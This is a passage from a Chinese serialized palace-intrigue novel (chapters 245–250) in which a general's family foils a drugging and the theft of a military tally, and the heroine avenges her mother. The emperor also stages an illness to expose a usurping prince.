陈湛回道,“喜酒定是少不了姑父的。” 这声姑父叫得夜庚新‘哈哈’大笑,回头嫌弃地看了一眼儿子,“瞧瞧陈家小子,比你会来事多了,哪像你,一天竟知道瞎胡闹!” 夜时竣笑着怼他,“爹,我是你儿子,自然是随了你。” 夜庚新作势瞪他。 九姑笑着拉他,“将军,我们先进去吧,让他们几个好好说话。” “嗯。”夜庚新这才带头离开花园。 等他们几个长辈一走,夜时竣便开始对陈湛挤眉弄眼,“我说你小子藏得真是够深啊,居然打我们馨儿表妹的主意!” 陈湛突然拱手作礼,“拜见二表哥!” 夜时竣比他小一岁,听到他这一声‘表哥’,立马笑开了花,“哈哈!得,就冲你这声‘二表哥’,你和馨儿的婚事我准了!” 顾思沫冲他翻了个白眼,然后走到脸红的游宏馨面前,拉着她的手说道,“馨儿,别听你表哥瞎胡说,咱们一边玩去,正好我有事要同你说。” 游宏馨红着脸跟她去了偏僻的角落。 夜时竣勾住陈湛的肩,笑道,“走,咱哥俩也找个地方说话去!” …… 酒宴过半。 除了游建彬和游清柔父女俩外,其余人全趴在桌上。 游建彬得意地大笑,走到夜庚新身边直接搜身。 当从夜庚新怀中搜出一块黑色令牌时,他忍不住向女儿炫耀,“看!柔儿,我们得手了!哈哈!这下夜家和太子都完了!等尉迟睿坐上了龙椅,我就不只是夺回侯位了,凭着我今日对尉迟睿的助力,将来登相入阁都不成问题!” 第246章 谁让你动脚的? “爹,要如何处置他们?要不现在就杀了他们?”游清柔狠毒地看着一桌被药倒的人。 “蠢货!”游建彬没好气地朝她骂道,“皇上还没被扳倒,现在夜庚新出事,你是想我们被抓去杀头?眼下兵符拿到了,夜庚新没办法再调兵遣将,只是废人一个,回头我们藏起来,只需等尉迟睿上位即可。处决他们,那是尉迟睿的事。” 游清柔仔细想想,父亲说的话也的确有道理。 如果只是兵符不见了,那有麻烦的只是夜庚新。可如果夜庚新现在死了,那他们父女肯定要成为朝廷的通缉犯。 只是—— 她抬手指向游宏馨,“爹,不杀夜庚新可以,但我绝对不能让这个贱人好过!凭什么她能给御史做儿媳妇,我却要受尽世人耻笑?今日无论如何我也要毁了她!不,还有她那个哥哥游宏泽!他们兄妹俩必须死!” 游建彬看向游宏馨,再想想那个会读书的游宏泽,心中也很是嫉恨。 凭什么他的儿子变成太监,游建川的儿子却进了国子监,还要参加今年的科考?既然老天不让他一家顺遂,那他也不会让游建川和马氏这对狗夫妻好过! “柔儿,我现在就派人去游宏泽院里杀了他!至于游宏馨,你看着办!” “爹,那你呢?你不留下陪我吗?”游清柔皱眉问他。 “你蠢啊!兵符虽然到手了,可这是个烫手的玩意儿,我得赶紧给尉迟睿送去!”游建彬说完便匆匆离去。 他一走,游清柔便从袖中摸出一把匕首,然后走到游宏馨面前,满眼狠毒地瞪着她白皙秀丽的脸庞。 “游宏馨,你这个贱人,等我划烂了你的脸就把你送去勾栏院,让你做千人骑万人睡的娼妓!” 就在扬起手的瞬间,突然什么东西打在她手腕处,让她手腕狠狠一痛。 “啊!”她惊叫的同时匕首也从她手中脱落。 “游清柔,你可真不是个东西!” 看着不知何时坐起身的顾思沫,游清柔脸色失血,惊恐不已地道,“你、你怎么没事?” 顾思沫端起酒壶又给自己倒了一杯,全然不顾酒中下了猛药,一饮而尽过后,冲她挑了挑眉,“意外不?” “你……你……”游清柔比见了鬼还惊悚。 或许是只看到顾思沫一个人没事,她面容扭曲,快速捡起地上的匕首,恶狠狠地朝顾思沫扑去—— “你这个不知哪里冒出来的贱人,既然你想找死,那我便成全你!” 顾思沫都被她这气势惊到了。 不过,不是惊吓,而是觉得这个女人过于疯癫,竟然这般不自量力! 她从凳子上飞身离开。 在游清柔扑通的瞬间,一脚飞起,毫不留情地踹向游清柔的脸。 “啊——” 也不知道她这一脚的力度有多大,游清柔狼狈的在地上滚了两圈才停下。 “馨儿!”夜时竣猛地直起身,没好气地恼道,“谁让你动脚的?” 见他也没事,狼狈在地的游清柔再一次震惊了。但很快,她红着眼眶朝夜时竣求救,“二表哥……这女人要杀我……你快替我杀了她……” 然而,夜时竣起身,一把将顾思沫揽进怀里,抚摸着她肚子继续恼道,“都说了,动手的事交给我,要是把我们儿子伤到了,我要你好看!” 游清柔,“……” 第247章 葛氏杀人了 本来看着他们俩没事已经够她震惊的了,谁知道夜时竣醒来后,一桌的人全都坐起了身,然后纷纷怒瞪着她。 特别是陈湛,绕过桌子走到她面前,也不顾她此刻是多难堪和狼狈,猛地一脚狠狠踩在她手背上—— “啊——” 游清柔又是一声惨叫。 陈湛指着她脑门嫌恶地道,“见过阴险狠毒的,还没见过滥用阴毒手段的!只因你自己过得不如意,便要毁掉堂妹容貌,甚至想毁她整个人生,你这样的毒妇,将你千刀万剐都不解恨!” 游清柔因为顾思沫那一脚本就伤得不轻,再被他下死脚的狠踩,几乎是让痛不欲生,整个人面容也变得狰狞起来。 听着她指骨被踩断的声音,游宏馨忙跑到陈湛身侧,拉住他的衣袖对他摇头。 陈湛扭头,眯着眼问她,“你要为她求情?” 游宏馨又摇了摇头,“不是要为她求情,而是他们父女做的事已经是死罪,你没必要为了她背上人命。” 陈湛勾唇笑了。 只是再扭回头看游清柔时,他唇角的笑瞬间敛去,冷哼道,“看在馨儿第一次为我着想的份上,就让你多喘几口气!” 说完,他收了脚,握住游宏馨的手腕,带她去了游建川和温氏面前,说道,“侯爷、夫人,我需要回府找父亲议事。正好我母亲想见见馨儿,不如让我带她回陈府,让我母亲照料她。你们接下来兴许要面临许多事,馨儿不在你们身边,你们也能少许多顾虑。” 游建川和马氏交换了一下眼神。 前几日女儿被骆丽娴算计,想把他们女儿许给北蔺国四皇子,要不是陈湛解围,他们侯府都不知道该如何拒绝北蔺国四皇子。 今日女儿又险些遭游清柔毒手…… 如果有个地方能暂时保护她女儿,那自然再好不过。 马氏感激道,“那就有劳陈夫人了,待府中的事解决好之后,我们再去接馨儿。” 游建川也道,“阿湛,馨儿就交给你了。” 正在这时,一名身着灰袍的中年男子走了进来,手里还抓着一个人。灰袍男子将手里的人扔到游清柔身边,转身向夜庚新说道,“将军,此人想刺杀宏泽公子。” 夜庚新知道他的身份,这是华湘阁弟子,是专程来给游宏泽治伤的。 不等夜庚新说话,游建川和马氏便围住中年男子,紧张不已地问道,“柳先生,我们家泽儿可还好?” 柳墨冲他们微微一笑,“侯爷、夫人放心,宏泽公子一切安好。” 顾思沫上前同他招呼,“柳师兄,辛苦你了。” 柳墨含笑回道,“不辛苦,照顾宏泽公子可比在阁中清闲多了。” 夜庚新起身,吩咐儿子,“时竣,把他俩带下去,务必让人严加看管,待梁王被拿下后,再交由皇上一并发落!” 随后他走到柳墨身前,温声道,“宏泽的事还需继续麻烦柳先生,这孩子今年有望高中,可不能耽搁了。” 柳墨拱手,“将军放心,草民定竭尽全力让宏泽公子及早痊愈。” 他没有多留,很快离开了。 陈湛也带着游宏馨离开了裕丰侯府。 夜时竣和顾思沫把游清柔及那名杀手也带走了。 剩下夜庚新、游建川和马氏。 一想到游建彬偷了兵符,游建川便不解地问道,“将军,为何不阻止我大哥?若是他拿着兵符造反,后果我们如何担得起?” 夜庚新给了他一个安抚的眼神,“不用担心,我们既然料到游建彬会盗取兵符,自然做好了应对之策。” 马氏问道,“将军,那下一步我们需要做什么?” 夜庚新想了想,说道,“你们暂时去二嫂老家避一避。等我传消息给你们,你们再回来。” 游建川点头道,“夫人,将军说的是,我们就去你老家避一避,免得大哥又把我们盯上,给将军他们添麻烦。” “好,我这就去收拾细软。”马氏也同意。 …… 别院中。 看着手上的兵符,尉迟睿‘哈哈’大笑,“夜庚新这狗东西,等我登上皇位,定第一个摘了他项上人头!” 游建彬谄媚地陪着笑,“殿下,您看兵符我已经为您拿到了,您许诺我的……” 尉迟睿斜了他一眼,唇角勾起,走到他面前拍了拍他肩,“你立下如此功劳,若本王顺利登基,定不会亏待你的,到时二品官阶随你挑选。” 闻言,游建彬两眼好比放出万道光芒,“殿下,真的吗?” 尉迟睿点了点头,温声道,“现在没你什么事了,你且先回去等好消息吧。” “好好好……那小的先回去,就不打扰殿下了!”游建彬躬着身退到门旁。 就在他转身提脚要跨出门槛时,门旁左右两侧的侍卫同时拔剑,同时刺向他—— “唔!” 看着从自己腹部破出的两道剑头,游建彬突睁的瞳孔中充满了深深的震惊。 然而,他已经没有机会转身去质问屋中的男人。 在两个侍卫又同时抽出剑身时,他身体剧烈地颤动,然后重重扑倒在地,再没有半分动静,只有那对眼珠子狰狞地瞪着,写满了痛苦和不甘。 “把他扔去乱葬岗!” “是。” …… “王爷、王妃,如你们所料,尉迟睿真的把游建彬灭口了,还让人把游建彬的尸体扔去了乱葬岗。”文岩禀道。 “尸体捡回来了吗?”夜时舒问道。 “回王妃,捡回来了。” “那好,天黑后把尸体送去魏家,游建彬好歹和葛氏做了一阵子野鸳鸯,该让葛氏见他最后一面。” “是。” …… 魏家。 魏广征死了,魏永淮入了大狱,现在魏家就剩葛氏和玉娘两个女人。 因为和游建彬偷情的缘故,葛氏担心会被玉娘发现,加上玉娘早前勾引魏广征的事,她便决定新仇旧恨同玉娘一起算。 可就在她准备下手时,玉娘传来流产的消息。 她一开始还不相信,跑去玉娘院中确定虚实,结果就见丫鬟婆子忙个不停,端着一盆盆血水从玉娘房中出来。 管家见她还想进房去看,忙拉住她,小声同她说道,“夫人,您还是别进去了。听说玉姨娘怀的是个死胎,她现在产死胎,很容易血崩的,您这会儿去,万一她出事,说不定会怪您头上。” 葛氏一听,的确有道理。 她虽然想弄死玉娘,可现在玉娘产死胎,是老天在替她报仇,她完全没必要再去惹一身腥! 于是她没有再多留,果断地回了自己院中,任由玉娘自生自灭。 一转眼,游建彬已经有好几日没来找她了。 “这狗东西,说什么让我等他,要给我荣华富贵,结果却不知道死哪去了!” 从花园散步回房,看着清冷的房间,葛氏忍不住暗骂。 可当她走近床边时,突然发现薄被下鼓鼓地,一看就是个人躲在里面。 她随即对丫鬟说道,“退下吧,今晚我想早点睡,不用伺候了。” “是。” 等丫鬟退出房门后,她特意检查了一下门窗,然后才又回到床边,指着床上鼓鼓的薄被,没好气地骂道,“你这狗东西,这都几日才来?我告诉你,你要是敢骗我,我定不饶你!” 原本她是瞧不上游建彬的,可魏广征自从纳了玉娘进府后,一直跟那些烟花妓子厮混,再没有碰过她。 更何况魏广征已死,她直接成了寡妇。 游建彬虽然废物,可到底是个男人,甚至在某些方面是个比魏广征还强的男人,她再看不上游建彬,但看在游建彬还能‘用’的份上也默许了同他继续下去。 见床上没动静,她更是来气了,一边将薄被扯开一边骂道,“跟你说话呢,你聋了吗?别以为我跟你睡了你就能蹬鼻子上脸——啊!” 当一对狰狞的死人眼露出时,她失声尖叫,一屁股吓瘫在地上。 “死……死人了……”她惊恐无比地爬到门口,颤抖地打开房门。 然而,房门一打开,看着门外从天而降的人群时,她直接石化了。 房门外,不光有挺着肚子的玉娘,还有数名衙役。 只听玉娘激动地对衙役说道,“官爷,我家夫人时常与游家大爷偷情,今日她把游家大爷骗来家中杀害,游家大爷的尸体就在里面!” 第248章 杀母之仇 “不!你血口喷人!”葛氏猛地从地上爬起,冲到玉娘面前,怒指着她圆挺的肚子,厉声质问道,“你不是小产了吗?不是生了个死胎吗?为何你还挺着个肚子?” 玉娘吓得往一名衙役身后躲,嘴里惊呼道,“官爷,我家夫人她得失心疯了!” 好在她聪明,知道葛氏不会放过她,所以她故意买通下人,做了一场小产的戏码给葛氏看,让葛氏信以为真。 明明她大腹便便,可葛氏却说她小产生了死胎,这不是失心疯是什么? 想起有人报案,衙役们也不敢大意,其中两人立即出手将葛氏扭押住,另几人则快速跑进屋中—— “不——”葛氏想起床上死得僵硬又狰狞恐怖的游建彬,疯狂地挣扎嘶吼,“不是我杀的——不是我——” 很快游建彬的尸体被抬了出来。 眼见葛氏像犯了癫狂症似的,衙役怕她再伤人,立即喝道,“快押走!” “不——我没有杀人——没有——”此时的葛氏只想证明自己与游建彬的死无关,完全顾不上一旁的玉娘。 望着她被带走的样子,玉娘不禁得意地勾了勾唇。 她随即朝身后招了招手。 管家和一名婆子立即上前。 玉娘从身上拿出两只银子和两张银票。 “这些银子是给下人们的遣散费,这二百两银票是给你们的。夫人犯了这么大的事,未免你们受连累,你们还是尽早离开吧。” “谢玉姨娘!”管家和婆子一边谢恩一边收下银子和银票。 待他们退下后,玉娘低头抚摸着肚子,笑得无比温柔。 该办的事都办完了,她也该功成身退了…… …… 阴暗中的狱牢里。 葛氏被关在一角落中,一开始她鬼哭狼嚎地不停喊冤,直到被狱卒抽打了十几鞭奄奄一息后才不得不安静下来。 听到牢门被打开的声音,趴在地上的她都没力气抬头。 直到听见熟悉的嗓音,“魏夫人,别来无恙啊。” 她猛地一震,也不知道哪来的力气抬起头,惊呼道,“你、你不是失踪了吗?” 夜时舒一袭黑衣,手中提着灯笼,唇角勾勒的笑在微弱的灯火照耀下多了一丝妖冶的气息。 看着葛氏浑身发麻,下意识往角落挪动,“你、你别过来……我跟你无冤无仇……你……你滚开……” “无冤无仇?呵呵!”夜时舒笑出了声,但在这幽暗潮湿的中,她的轻笑声仿佛地狱中响起的号角,直戳葛氏耳膜,“葛氏,你伙同温氏毒害我母亲,难道你都忘了吗?如果杀母之仇都叫无冤无仇,那你告诉我,什么才叫冤仇?” “你……你血口喷人!我什么也没做,你母亲的死与我无关!”葛氏激动得厉声否认。 “时隔这么多年,你承认与否并不重要,我只知道你和我大舅母温氏嫉妒我母亲拥有巨额财物,你不惜一切讨好我母亲。可你们至多只能做姐妹,没理由也没机会侵吞我母亲的财物。于是在我出世后,你便花言巧语游说我母亲让我与你儿子魏永淮定下婚约。如此一来,只要我长大成人,便能带着庞大的嫁妆嫁到你家,只要到了你们家,你们再想办法毒害我,然后名正言顺侵吞我的嫁妆。” “你胡说!我没有——”葛氏又忍不住咆哮。 “温氏死前把一切都交代了。”夜时舒笑得又邪恶又冷冽,“我今日来,不是来向你求证的,而是来送你下去的。” “你——” “哦,对了。”夜时舒突然想到什么,走到她面前,弯着腰笑着与她说道,“忘了告诉你,玉娘是我亲自挑选的人,你和魏大人可满意?不止玉娘,后面魏大人碰过的所有女人都是我和我二哥安排的。” “什么?!”葛氏难以置信地瞪大了双眼。似乎忘了身上的鞭伤,她从地上爬起来,伸着尖利的爪子扑向夜时舒。 夜时舒往身侧一转。 就见她狼狈地扑倒在地。 葛氏还想起身,可双腿不给力,她只得不甘心地撑起上半身,狰狞地瞪着夜时舒,咬牙切齿地道,“夜时舒,没想到你会如此阴险卑鄙!是你害得我家破人亡的,我做鬼都不会放过你!” 夜时舒再次走到她面前,一脚蹬在她脸上,毫不费力地将她蹬倒。 “哼!你有脸跟我说家破人亡吗?你们一家为了谋财,不惜毒害我母亲,害她与丈夫阴阳相隔、害她与子女骨肉分离,你们今日的家破人亡是你们罪有应得!” 第249章 让他先得意 “你……你……你……” 夜时舒袖中一抖,一根绳子突然从她掌心飞出,宛如蛇身般缠上葛氏的脖子。 葛氏双手抓着绳子,原本狰狞的脸突然换成了哀求,“舒儿……舒儿……看在你曾唤我姨母的份上……饶……饶了我吧……我知错了……知错了……” 夜时舒美目眯着,眸光冰冷似箭,“你们让我母亲早死,而你们比她多活了十多年,这已是老天开恩,我拿什么理由放过你?正好,你的相好游建彬和你的丈夫魏广征都去了下面,我大发善心让你下去陪他们!” “唔——” …… 翌日。 衙门传出消息,葛氏谋害奸夫游建彬,被捕后在狱中畏罪自缢。 得到消息时,尉迟睿在梁王府正与莫千骁议事。 “什么?葛氏谋害奸夫游建彬?” “是的,王爷。衙门的人亲自去魏家抓的人,还从葛氏房中发现了游建彬的尸体。”手下如实禀报着从衙门打探来的消息。 “这怎么可能!”尉迟睿难以置信。 他比谁都清楚,游建彬是死在他面前的! 还是他让人把游建彬的尸体扔去乱葬岗的! “王爷,出何事了?”莫千骁看他情绪激动,不解地问道。 “没……没事,只是死了个偷人妻的废物罢了。”尉迟睿说完,朝手下使眼色,示意其退下。 虽然他跟莫千骁合作,但兵权到底是大邺国内部的事,他再傻也不可能傻到把大邺国兵权相关的事告诉莫千骁。 莫千骁笑笑,也没追问。 随后二人又继续商量起来。 “王爷,我的人已经入了大邺国境内,不日后便会乔装镖局的人抵达京城,现在就看你如何动手了。” 尉迟睿沉着脸道,“山火烧了这么久还未灭,估计山里的人是保不住了。虽说没了夜时舒做人质很是可惜,但好在尉迟凌现在不在城中,正是本王下手的好时机。” “王爷有把握?”莫千骁挑了挑眉。 “自然!”尉迟睿自信地扬起唇,“待你的人入城之日,便是本王夺位之时!” 他有西北大军的调令,就算有人不顺从他,但他们群龙无首也不敢随意动军。 而他现在只需要两步,一步买通城门的守卫,只要发现尉迟凌的踪迹便杀无赦。 另一步嘛…… 自然是他那个高高在上的父皇! …… 御书房。 “皇上,您若困乏了便回寝宫歇歇吧。”见尉迟晟哈欠连连,齐绥关心地劝道。 “……嗯。”尉迟晟打着哈欠起身。 齐绥扶着他。 就在他们走出御书房时,尉迟晟身体突然一晃,接着不由自主地朝齐绥倒去—— “皇上!皇上!”齐绥惊叫不已,一边吃力地抱着尉迟晟一边朝宫人喊道,“快传御医!” 不多时,尉迟晟被送回寝宫。 陆长青带着几名御医赶来,一边听齐绥描述尉迟晟的情况一边检查尉迟晟的身体。 不多时,一名御医先说道,“皇上这是过劳成疾,所以才犯了晕厥。” 其余几人御医纷纷点头,表示自己诊出的症状同他一致。 陆长青皱眉朝齐绥问道,“齐公公,仍旧没有太子的消息吗?皇上这般,必须好生静养,不能再操劳了!朝中不能无主,还得太子回来代理朝政才是!” 齐绥苦恼道,“要是有太子的消息就好了,可自打太子妃失踪后,太子也音信全无,我们上哪去找人啊?” 陆长青道,“那这几日便免朝吧,总得让皇上休息几日才行。” 齐绥点头,“那我这就去找几位大人商议,让他们想想办法。” …… 致和将军府。 夜庚新沉着脸从宫里回来,九姑问道,“将军,出何事了?” 夜庚新压着嗓音反问她,“他们两个呢?现在在哪?” “在书房等你呢。” “嗯。” 夜庚新加快步子往书房去。 一进门就见女儿女婿正在吃茶聊天,他气不打一处来,“你们还有心思闲玩,知不知道朝堂上都乱成什么样了?” 夜时舒笑道,“不就是朝中大臣商议,决定让尉迟睿代理朝政嘛,有什么稀奇的?” 夜庚新见她还有心思说笑,干脆不理她,直接问女婿,“殿下,朝堂上的事你不管,难道皇上的性命你也不在乎吗?你可知皇上昨日晕厥,到现在都还未醒!” 尉迟凌也勾唇笑道,“他不晕厥,尉迟睿如何能得意?” 闻言,夜庚新一头雾水,“什么意思?” 夜时舒起身,扶他去大椅上坐下,然后不紧不慢地与他说道,“爹,你就放心吧,皇上没事的,就是作戏给尉迟睿的人看的。不是我们有意要隐瞒你,我们也是怕你提前知道后演戏不够入深。” “演什么戏?”夜庚新没听懂。 “你今日在朝堂上是不是与人争论了?” “那是自然!朝中那几个墙头草,见皇上病倒,就以太子失踪为由又开始站队梁王了!我那时手中没剑,不然我真想砍了他们!”夜庚新痛骂道。 “呵呵!”夜时舒笑了起来,“你这般愤怒,尉迟睿才会相信他要得手了。如果提前让你知道皇上是假病,你还会同他们吵吗?” “我……”夜庚新愣住,随即眼中一喜,“皇上假病?真的?” “当然!”夜时舒扬了扬下巴,“这招引蛇出洞还是我想出来的!” 看她那骄傲的小模样,夜庚新表示有些眼疼,随即又看向女婿,“殿下,接下来要如何做?” 第250章 这畜生,朕真是小看他了! 尉迟凌道,“既然岳父大人与他们政见不合,那近日便称病,闭门谢客。虽然我早已安排华湘阁的弟子进宫保护父皇,但以防万一,我和舒儿还是去父皇身边为好。任他尉迟睿想破头都不会猜到,我们就在宫中。” 夜庚新点了点头,“那就按殿下说的做,明早我就上折子告假。尉迟睿急于掌控朝堂,如今又有‘兵符’在手,短时内应该不会对我下手。”想到什么,他又问道,“时竣和芯儿呢?他们还在监视山火吗?” 尉迟凌勾唇,“我让他们在城外守着,待大舅哥回城,他们可随时接应。” 夜庚新再次点了点头,然后看向女儿的肚子,语重心长地说道,“你是要当娘的人了,万事要以身子为重,别再像以前那般任性冲动,知道吗?” 夜时舒笑道,“知道了,我会照顾好自己的。” …… 乾宁宫。 尉迟晟晕迷了一天一夜后,总算苏醒了。 “父皇,您可算醒了!” “睿儿……怎么是你?”看到蹲在龙床边的儿子,尉迟晟表示很意外。 “父皇,儿臣听说您犯了晕厥症,很是担忧。没经过您的同意便擅自来了乾宁宫,还请您不要责怪。”尉迟睿握着他的手,担忧的神色中又充满了自责。 “你担忧朕,孝心可嘉,朕怎会怪你?”尉迟晟拍了拍他的手背,随即问齐绥,“太子呢?还没有太子的消息吗?” “回皇上,还没有太子的消息。”齐绥低声回道。 “这混账东西,朕以为他是个能堪大任的,那般器重他,没想到他竟然为了一个女人要死要活!辜负朕也就算了,他身为储君,不理朝政,把江山社稷当儿戏,真是太叫人失望了!如此鲁莽灭裂之人,就不配为储君,朕必须废了他!”尉迟晟激动地大骂,骂完又拍着尉迟睿的手,欣慰地道,“睿儿,朕真是看走了眼,没想到在朕抱恙之时,只有你才是最关心朕的,也只有你才是最可信的。” “父皇,您也别责备皇兄,他常年在边塞生活,习惯了无拘无束,难免冲动莽撞。但儿臣相信,他也不是故意放任朝政不理,皇婶毕竟是他放在心尖上的人,他在乎皇嫂多一些也是情有可原的。” “睿儿,你变成熟了。”尉迟晟欣慰又赞许地看着他,“朕还以为你对你皇兄会有诸多嫉恨,没想到你竟会为他着想,还会帮着他说话。睿儿,你没有辜负朕这么多年的栽培,朕心甚欢啊!” “父皇过赞了,以前是儿子不懂事才会做些蠢事惹您生气,如今儿子醒悟了,再也不会任性妄为了。”尉迟睿悔恨不已地抹起了眼角。 “当年的事都是你母妃做的,都说稚子无辜,朕又如何舍得怨你?既然你有心为朕分忧,那就由你代为执掌朝政吧。待你皇兄回来,朕废了他太子之位,重新册立你为太子。” 闻言,齐绥赶紧说道,“皇上,您晕迷之时,因朝中无人执政,不少大臣纷纷举荐梁王代理朝政,您完全可以放心,梁王一定不会负您厚望的。” 尉迟晟一听,微笑地点了点头,“看来皇儿深得人心,也甚合朕意。” 尉迟睿叩拜道,“多谢父皇能再次信任儿臣,儿臣定不负父皇厚爱!” 尉迟晟突然皱起眉,难受地道,“我又觉困乏了,若没事,你们便退下吧。” “父皇,您好生歇息,待您休息好了,儿臣再来看您。”尉迟睿起身,关心地为他掖了掖薄被,然后才退出寝宫。 待他离去后,尉迟晟对齐绥挥了挥手。 齐绥会意,带着宫人全退出了寝宫。 不多时。 离龙床不远的一排木架诡异地移动,露出一个漆黑的空间, 一男一女从空间里走出来。 尉迟晟坐起身,没好气地瞪着他们,“还知道要来宫中陪朕!” 夜时舒先上前,行了礼后,干干笑道,“父皇,我们这不是来了嘛,您就别生气了。” 尉迟晟看了一眼她的肚子,再看了看她的气色,问道,“朕的孙儿怎样了?” 夜时舒轻抚着肚子,认真回道,“回父皇,孩子很好。” “那就好。” 他们也是刚到宫中,还没来得及同尉迟晟说上话就听宫人传报说梁王来了,不得已,他们只能先躲进暗室中。 尉迟凌将一把椅子搬到夜时舒身后,让她坐下后,他才坐到龙床边,为尉迟晟细细把脉起来。 尉迟晟笑赞道,“华湘阁的秘药是真神奇!那些御医全来给朕把过脉,没一个看出端倪!凌儿,这事过了后,你让华湘阁的人都进宫当差吧,朕把太医院的人全撤了!” 尉迟凌忍不住翻了个白眼,“华湘阁屹立于世,解世间疑难杂症,是为了济济苍生。若不是您的生死关乎着大邺国安稳,能让百姓安居乐业,华湘阁的弟子没人会进宫侍君。世人眼中的荣华富贵,他们瞧不上。” 尉迟晟叹了口气。 随即他神色沉下,目含怒火,“那孽子真是狗胆包天,竟买通御膳房的人给朕下药,要不是你提前把华湘阁的弟子安排到朕身边,朕现在恐怕真的药石无医了!” “尉迟睿收买了游建彬,让其偷盗我岳父兵符。” “什么?!”尉迟晟更是震怒,“他竟敢打兵权的主意?!” “他连弑君杀父都敢,还有什么不敢的?” “这畜生,朕真是小看他了!”尉迟晟骂完,赶紧问道,“那他们可得手了?” “舒儿提前让岳父大人做了防备,只让游建彬盗去了假兵符。”尉迟凌说完,嘲讽地扬了扬唇角,“这二十多年来还多亏了澜贵妃对尉迟睿宠溺的教养,让尉迟睿对军营之事毫无了解,让他以为拿到兵符便能调兵遣将,为他所用。” 尉迟晟冷哼,“这蠢货,朕现在就等着看,他如何造反!” 兵符虽然是统帅三军不可缺的信物,可将士们都是跟着自己的主帅出生入死过的,就算他这个帝王要撤换将帅,也得顾及三军是否同意。区区一块牌子就能让那些将士随便认主,那兵符岂不成全天下人争夺之物了? 夜时舒在一旁忍不住插话,“父皇,梁王的举动都在我们掌控之中,要拿下他并不难,我们现在担心的是北蔺国的人,那莫千骁此次来大邺国是带着野心来的,我们早前没什么防备,也不知他们安排了多少人混进大邺国。” 尉迟晟脸色一下子又沉又黑,想到什么,他目光深深地看着眼前的儿子,“早前方济大师便与朕说过,他推算出大邺国必有一劫……幸好,朕提早发现你们兄弟被互换的秘密,如果今日尉迟睿依旧是太子,以他的愚昧,北蔺国要侵吞我大邺国江山社稷,那真是易如反掌!” 尉迟凌安慰道,“父皇且安心,他们不会得逞的。” 尉迟晟抬手拍了拍儿子的肩,突然笑道,“有你在,他们一定不会得逞!” …… 荒林中。 赶了一天一夜的路,夜时珽挑了个无人之地休息。 五个手下,除一人看守晕迷的祝华凝外,其余人自觉地寻找木柴生活做饭。 夜时珽从怀里拿出一只路上摘的果子递给离瑶。 离瑶也没客气,接过果子就咬了起来,边吃边问,“还有多久到京城啊?” “快了。” “三天前你也这么说!”离瑶冲他翻了个白眼。 “呵呵!”夜时珽自己都忍不住失笑。 就在手下刚升起火堆时,一队人马突然进了林子。 对方中的一人找到生火的手下,招呼道,“兄弟,你们也是去京城的吗?”